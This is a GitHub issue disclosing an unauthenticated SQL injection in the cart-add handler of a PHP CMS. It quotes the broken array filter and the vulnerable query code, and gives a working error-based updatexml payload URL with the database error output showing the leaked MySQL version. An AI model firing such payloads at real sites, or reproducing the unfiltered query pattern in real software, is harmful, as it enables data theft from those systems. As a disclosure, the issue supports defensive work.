

New issue

[Jump to bottom](#)

## There is a sql vulnerability in pay.php, No admin user login required #5

[Open](#) jayus0821 opened this issue on Jan 31, 2021 · 0 comments

jayus0821 commented on Jan 31, 2021

Compared with the previous injection vulnerability, this vulnerability is more harmful because it can be triggered without logging in to the management account.

The syntax of the cms filter function is wrong, which causes the filter of the array to not take effect

```
public function filters($ftype,$value)
{
    switch ($ftype) {
        case 0://整数
            return (int)$value;
        case 1://字符串
            $value=htmlspecialchars(trim($value), flags: ENT_QUOTES);
            if(!get_magic_quotes_gpc())$value = addslashes($value);
            return $value;
        case 2://数组
            if($value=='')return '';
            array_walk_recursive( &$input: $value, funcname: 'syArgs::arrays');
            return $value;
        case 3://浮点
            return (float)$value;
        case 4:
            if(!get_magic_quotes_gpc())$value = addslashes($value);
            return trim($value);
    }
}
```

in pay.php:

```
function cartadd(){
    $aid=$this->syArgs('id');
    $quantity=$this->syArgs('quantity');
    $attribute=$this->syArgs('attribute',2);
    if(!$aid)exit('err,请指定内容');
    if(!$quantity||$quantity<1){
        $g=syDB( tbl_name: 'goodscart')->find(array('aid'=>$aid,'uid'=>$this->my['id'],'attribute'=>serialize($attribute)));
        if($g){
            syDB( tbl_name: 'goodscart')->incrField(array('aid'=>$aid,'uid'=>$this->my['id'],'attribute'=>serialize($attribute),'num',$quantity));
        }else{
            $va=$this->m->find(array('id'=>$aid,'isshow'=>1),null,'tid,virtual');
            if(!$va)exit('err,指定内容不存在');
            if($va['virtual']==1)exit('err,本商品可直接购买,自动发货。');
            $p_type=syDB( tbl_name: 'attribute_type')->findSql('select distinct a.tid,a.aid,b.tid,b.isshow,b.orders,b.name from '. $this->db. 'product attribute a left join '. $this->db. 'attribute b on a.attribute_type=b.attribute_type where a.aid=$aid');
            foreach ($p_type as $v){if($attribute[$v['tid']])exit('err,请选择['.$v['name'].']');}
            syDB( tbl_name: 'goodscart')->create(array('aid'=>$aid,'num'=>$quantity,'uid'=>$this->my['id'],'attribute'=>serialize($attribute),'addtime'=>time()));
        }
    }
    echo 'ok';
}
```

payload:

[http://192.168.0.105/?c=pay&a=cartadd&id=1&quantity=1&attribute\[\]=123123' or updatexml\(2,concat\(0x7e,\(version\(\)\)\),0\) or'](http://192.168.0.105/?c=pay&a=cartadd&id=1&quantity=1&attribute[]=123123' or updatexml(2,concat(0x7e,(version())),0) or')

8535	1225224	eval(('\$GLOBALS['G_DY']["inst_class"][\$class_name]= new \$class_name(\$args[0]);')	...Functions.php:95
8535	1225488	db_mysql->_construct(array(8))	...Functions.php(95) : eval()'d code:1
8535	1225680	mysql_connect ( string(14), string(4), string(4) )	...mysql.php:59

SELECT \* FROM dy\_goodscart WHERE aid = '1' AND uid = '16' AND attribute = 'a:1:{i:0;s:54:"123123' or updatexml(2,concat(0x7e,(version())),0) or";}'  
ORDER BY id LIMIT 1  
执行错误: XPATH syntax error: '~5.7.26'

A:\phpstudy\_pro\WWW\doyocms-master\include\mysql.php on line 39

```
34.         $this->arrSql[] = $sql;
35.         if( $result = mysql_query($sql, $this->conn) ){
36.             return $result;
```

Assignees

No one assigned

Labels

None yet

---

Projects

None yet

---

Milestone

No milestone

---

Development

No branches or pull requests

---

1 participant

